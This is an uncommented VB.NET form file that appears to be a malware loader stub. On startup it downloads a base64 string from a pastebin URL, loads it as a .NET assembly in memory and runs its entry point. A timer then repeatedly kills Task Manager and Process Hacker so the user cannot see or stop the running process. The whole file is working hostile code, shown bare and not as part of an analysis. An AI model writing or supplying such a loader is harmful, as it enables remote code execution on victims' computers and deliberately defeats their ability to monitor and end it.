Public Class Form1
    Protected krar As New Net.WebClient
    Protected king1 As String = krar.DownloadString("https://pastebin.com/raw/7sTL0GQA")
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim krar0 As Object = king2.load(Convert.FromBase64String(king1))
        Dim krar6 As Object = CallByName(krar0, "EntryPoint", CallType.Get)
        Timer1.Start()
        DirectCast(krar6, Reflection.MethodBase).Invoke("", Nothing)
    End Sub
    Protected king2 As Object = AppDomain.CurrentDomain

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        If Process.GetProcessesByName("processHacker").Length > 0 Then
            For Each krar11 In Process.GetProcessesByName("processHacker")
                krar11.Kill()
            Next
        End If
        If Process.GetProcessesByName("taskmgr").Length > 0 Then
            For Each krar11 In Process.GetProcessesByName("taskmgr")
                krar11.Kill()
            Next
        End If
    End Sub
End Class